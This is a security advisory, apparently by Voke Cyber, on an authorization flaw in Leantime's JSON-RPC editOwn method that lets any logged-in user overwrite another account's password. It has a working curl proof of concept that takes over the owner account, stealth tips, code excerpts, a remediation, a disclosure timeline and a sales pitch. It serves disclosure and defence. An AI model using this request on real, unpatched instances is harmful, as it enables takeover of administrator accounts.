Leantime JSON-RPC Account Takeover: Any Logged-In User Could Reset Anyone's Password
| Product | Leantime — open-source project management (PHP/Laravel) |
|---|---|
| Severity | High CVSS v3.1 base score 8.8 — 9.8 where self-registration is enabled |
| CVSS vector | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| Weaknesses | CWE-639 — Authorization Bypass Through User-Controlled Key (IDOR) • CWE-862 — Missing Authorization |
| Affected | Leantime 3.x through v3.8.0. The original advisory records <= 3.7.3, the release current when it was filed; the defect persisted through v3.8.0. |
| Fixed in | Patched v3.9.0, released 2026-06-12 (fix merged 2026-06-02 in PR #3471) |
| CVE | Not assigned. A distinct identifier is requested under CERT/CC case VU#685483 |
| Coordination | CERT/CC VU#685483 • original report GHSA-jxgw-q79v-g84j (filed 2026-04-23, closed by the maintainer without substantive review) • reopened by Voke Cyber as GHSA-5447-phq9-qjmm on 2026-07-18. All three remain non-public, so they are listed as identifiers rather than links. |
| Reported by | Louis Sanchez — Voke Cyber |
Fixed — upgrade to v3.9.0
This is patched. If you self-host Leantime and are still on 3.7.x or 3.8.0, upgrade to v3.9.0 or later. There is no configuration workaround on affected versions short of blocking the method at a reverse proxy, because the endpoint does not distinguish a self-edit from a cross-account edit before it writes.
The short version
Leantime's editOwn method is the self-service "edit my own profile" routine. Through the browser it edits your own account, because the controller pins the record to your session. Through the JSON-RPC endpoint at /api/jsonrpc the controller is never involved, the caller supplies the user id, and nothing compares that id to the person making the request. Send the instance owner's id and a password of your choosing, then log in as the owner. A read-only account is enough.
Background: the second front door
Leantime is a self-hosted project management platform used to run projects, tickets, timesheets, and client work. Like a lot of modern PHP applications it grew a second way in: a JSON-RPC endpoint at POST /api/jsonrpc that exposes the application's internal service layer to API clients.
That endpoint is the whole story here. The vulnerability is not in the profile-update logic, which is perfectly reasonable code. It is in the fact that the same logic is reachable through two doors, and only one of them was ever guarded.
Why it matters
The technique is an ordinary IDOR. What makes it worth writing up is the privilege distance it collapses.
Leantime instances routinely hand out low-tier logins: contractors, clients invited into a single project, guests, read-only stakeholders. Some instances run with self-registration enabled. On an affected version, every one of those accounts was one HTTP request away from owning the administrator account and everything under it — every project, every client record, every uploaded file, every timesheet, plus the ability to create further admin accounts and change instance settings.
Where self-registration is enabled, privileges-required drops to none and the score rises to 9.8. There is no victim interaction and no chaining. The first thing the victim notices is that their password no longer works.
Root cause: two doors, one of them guarded
Leantime has two ways to reach the same profile-update logic, and they disagree about where the user id comes from.
The browser-facing controller pins the record to the session and ignores whatever the client sends:
app/Domain/Users/Controllers/EditOwn.php
// The user id is taken from the session, not from the request.
$this->userId = session('userdata.id');
The JSON-RPC path never touches that controller. The dispatcher resolves the service straight out of the container and calls the method with the parameters from the request body. In v3.8.0, app/Domain/Api/Controllers/Jsonrpc.php line 234:
$method_response = app()->make($serviceName)->$methodName(...$preparedParams);
There is no authorization anywhere before that line. There is not even a check that the method was meant to be exposed over the API at all. Twenty-four lines above it, at line 210, sits the maintainer's own note about the gap:
// Check method attributes // TODO: Check if method is available for api
So the caller's id parameter arrives at the service untouched, and the service passes it straight through:
app/Domain/Users/Services/Users.php (v3.7.3, unchanged through v3.8.0)
public function editOwn($values, $id): void { $this->userRepo->editOwn($values, $id); $user = $this->getUser($id); $this->authService->setUserSession($user); self::dispatch_event('editUser', ['id' => $id, 'values' => $values]); }
The repository then writes the row identified by that id, hashing and storing a new password whenever one is supplied:
app/Domain/Users/Repositories/Users.php
public function editOwn($values, $id): void
{
$updateData = [
'lastname' => $values['lastname'],
'firstname' => $values['firstname'],
'username' => $values['user'],
'phone' => $values['phone'],
'notifications' => $values['notifications'],
'modified' => now(),
];
// A supplied password is hashed and written, for whichever row $id names.
if (isset($values['password']) && $values['password'] != '') {
$updateData['password'] = password_hash($values['password'], PASSWORD_DEFAULT);
}
$this->connection->table('zp_user')
->where('id', $id)
->limit(1)
->update($updateData);
}
Nothing between the socket and the WHERE id clause asks whether the caller owns that row.
It is worth naming the pattern, because it is not specific to Leantime. When an application exposes its service layer over RPC, every authorization check that lives in a controller stops being a control. The controller was the only thing pinning editOwn to the session, and an RPC dispatcher routes around controllers by design. Self-service methods are the ones this hurts most, precisely because they are written under the assumption that the id was never attacker-controlled in the first place.
Exploitation
Prerequisite: any valid Leantime login. A self-registered account, an invited client, or a read-only teammate all work. The steps below take over user id 1, the instance owner in a default install.
Authenticate normally, keep the session cookie, then send one request. Note the X-Requested-With: XMLHttpRequest header: the endpoint accepts an ordinary web session cookie for JSON-RPC authentication when that header is present, matching how the product's own browser JavaScript calls it. No API key is required, which is what puts this within reach of any account that can log in through the front page.
curl -s "$BASE/api/jsonrpc" \
-H "Content-Type: application/json" \
-H "X-Requested-With: XMLHttpRequest" \
-H "Cookie: $ATTACKER_SESSION" \
-d '{
"jsonrpc": "2.0",
"method": "leantime.rpc.users.users.editOwn",
"params": {
"values": {
"firstname": "Owner",
"lastname": "Account",
"user": "owner@example.com",
"phone": "",
"notifications": 1,
"password": "AttackerKnows1!"
},
"id": 1
},
"id": 1
}'
Then log in through the ordinary login form as owner@example.com with that password. That is full administrative control of the instance.
Two details worth knowing:
- Set user to the victim's existing email so the account stays reachable under the address the attacker already knows. Sending a different value rewrites the victim's login email too, which is an equally effective takeover and a much louder one.
- password is optional to the endpoint. Omitting it gives an arbitrary cross-account profile rewrite. Including it is what turns a profile edit into a credential takeover.
Impact
From any authenticated account, including the lowest-privilege role:
- Set a known password on any other account, including administrators and the instance owner, and log in as them.
- Lock the legitimate user out by rewriting their login email and password together.
- Inherit everything the taken-over account can reach: all projects and clients, files, timesheets, user management, and instance settings.
Because the owner can be reached from a read-only login, the authorization model of the instance does not degrade gracefully. It collapses in one request.
CVSS vector breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H — base score 8.8
- AV:N — The JSON-RPC endpoint is reachable over the network.
- AC:L — A single request with known parameters. No race, no special conditions.
- PR:L — Any authenticated account, including read-only. On instances with self-registration enabled this becomes PR:N and the score rises to 9.8.
- UI:N — No victim interaction. The attacker drives it entirely from their own session.
- S:U — The impact stays within the Leantime authorization boundary the endpoint already governs.
- C:H / I:H / A:H — Taking the owner account exposes all instance data, allows arbitrary modification of records and users, and locks the legitimate owner out of their own account.
Remediation
Upgrade to v3.9.0 or later. The service method now discards the caller-supplied id and pins the write to the session user:
public function editOwn($values, $id): void
{
// Self-service: pin to the authenticated user (ignore any caller-supplied id).
$id = (int) session('userdata.id');
$this->userRepo->editOwn($values, $id);
...
}
Operators who ran an affected version with untrusted or self-registered accounts should treat it as a credential-compromise event: audit zp_user for unexpected modified timestamps and changed usernames, review admin membership, and force a password reset.
The same release also introduced a permission engine across the service layer, so authorization no longer depends on which entry point a request came through. That is the structurally correct place for it, and the lesson generalizes: if you expose services over RPC, authorization belongs in the service or the dispatcher, never only in the controller.
A note on disclosure and identifiers
This issue was reported on 2026-04-23 as one finding inside a broader report on the Leantime JSON-RPC authorization surface, filed privately as GHSA-jxgw-q79v-g84j. The maintainers credited Voke Cyber as reporter the same day. Then the thread went quiet: two requests for confirmation of receipt on 2026-05-04, with the maintainers tagged directly, went unanswered, as did a follow-up to the project's security contact after its stated 48-hour response window passed. CERT/CC coordination opened on 2026-05-16 (VU#685483).
On 2026-05-27 the maintainer closed the advisory. No triage discussion, no questions, and no response to any of the three findings it documented. Six days later the code was fixed. A request for CVE assignment, posted to the same thread on 2026-06-22, also went unanswered. On 2026-07-18 Voke Cyber opened a second advisory, GHSA-5447-phq9-qjmm, to track this finding on its own.
All three records remain non-public as of this writing (verified 2026-08-18): both GitHub advisories return 404 to anyone outside the repository, and CERT/CC has not published VU#685483 despite an expected public date of 2026-07-13. The reporter credit granted in April is therefore invisible too, since it lives on a record nobody outside the repository can read. There is, in other words, no public record of this vulnerability anywhere except this page.
The closed advisory still lists Patched versions: None and CVE ID: No known CVE, more than two months after v3.9.0 shipped the fix. Even the private record is wrong about its own resolution.
The code was nonetheless fixed. On 2026-06-02 the correction landed in PR #3471, a feature pull request titled after a permission-engine refactor, and shipped in v3.9.0 on 2026-06-12. No security advisory accompanied it, the release notes do not name it, and nothing in the changelog signals that an account-takeover path was closed. This is a silent patch.
In July 2026, four Leantime JSON-RPC issues were published as CVEs by other parties: CVE-2026-59712 (getUser credential disclosure), CVE-2026-15509 (addUser and editUser role escalation), CVE-2026-15510 (saveSetting), and CVE-2026-59713 (OIDC login CSRF). This one, the editOwn account takeover, is not among them and is not described by any of them. It is a different method, a different weakness class, and a different outcome. The v3.9.0 release notes list several IDOR fixes by name; the self-service password overwrite is not one of them.
Silent patching is worth naming as a bad practice, because the reasoning behind it usually sounds responsible. The argument is that publishing details arms attackers, so quietly shipping the fix protects users. That argument fails on the facts of how self-hosted software actually gets updated.
Attackers read commit diffs. A public repository publishes the patch the moment it merges, and a diff that adds an ownership check to a self-service method tells a competent reader exactly what was wrong and how to exploit the version before it. The people who lose the race are the defenders, because they are the only ones relying on being told. An administrator running a self-hosted project tool learns about security updates from a CVE feed, a Dependabot alert, or a release note that says "security fix." A fix that lands inside a refactor-titled pull request produces none of the three.
So the practical outcome of a silent patch is the reverse of the intent: the exploit is public in the diff, and the warning is not. An operator still on 3.8.0 today has a live account-takeover path on their instance, a fix that has existed for two months, and no reason to believe the upgrade is urgent. A CVE carve-out is requested under VU#685483; until one is assigned, this page is the only notice they will get.
Disclosure timeline
- 2026-04-23 — Discovered through source review and reproduced against a live instance. Reported privately as GHSA-jxgw-q79v-g84j. Voke Cyber credited as reporter the same day.
- 2026-05-04 — CVE request submitted to MITRE. Confirmation of receipt requested twice on the advisory thread, with the maintainers tagged directly. No reply.
- 2026-05-09 — Follow-up sent to the project's security contact after the stated 48-hour response window passed. No reply.
- 2026-05-16 — CERT/CC coordination case opened (VU#685483, received 05-17 01:54 UTC).
- 2026-05-27 — The maintainer closed the advisory. No triage discussion, no questions, and no response to any of the three findings it documented.
- 2026-06-02 — Fix merged upstream in PR #3471, six days after the report was closed. The pull request is titled after a permission-engine refactor. No security advisory, and no changelog entry naming the issue.
- 2026-06-12 — v3.9.0 released containing the fix.
- 2026-06-22 — CVE assignment requested on the closed advisory thread. No reply.
- 2026-07-06 — Four adjacent Leantime JSON-RPC CVEs published by third parties. This issue is not among them.
- 2026-07-13 — VU#685483 expected public date. Not published.
- 2026-07-18 — Voke Cyber opened GHSA-5447-phq9-qjmm to track the editOwn takeover on its own, separate from the closed report.
- 2026-07-28 — Priority evidence submitted to VulnCheck; CVE-2026-59712 subsequently updated to co-credit this research.
- 2026-08-12 — Carve-out CVE request filed with CERT/CC for the editOwn takeover.
- 2026-08-18 — Public write-up. Confirmed GHSA-jxgw-q79v-g84j, GHSA-5447-phq9-qjmm, and VU#685483 all still non-public, and the closed advisory still recording no patched version and no CVE.
References
- Original report: GHSA-jxgw-q79v-g84j — filed 2026-04-23, closed by the maintainer 2026-05-27 without substantive review; still private
- Advisory opened by Voke Cyber: GHSA-5447-phq9-qjmm — filed 2026-07-18; still private
- CERT/CC coordination case: VU#685483 — not published by CERT/CC as of this writing
- Fix pull request: Leantime/leantime PR #3471
- Fixed release: v3.9.0
- Project: Leantime/leantime
- Blog post (story and disclosure narrative): The Profile Method That Would Edit Anyone: An IDOR in Leantime's JSON-RPC
We find the bugs tools miss
A scanner sees an authenticated endpoint returning 200 and moves on. It has no concept that the id in the request body should have belonged to the caller. That question takes a person, and it is the same question we ask on every API and web application test we run for clients across the Charlotte, NC area and nationwide.
Get a Quote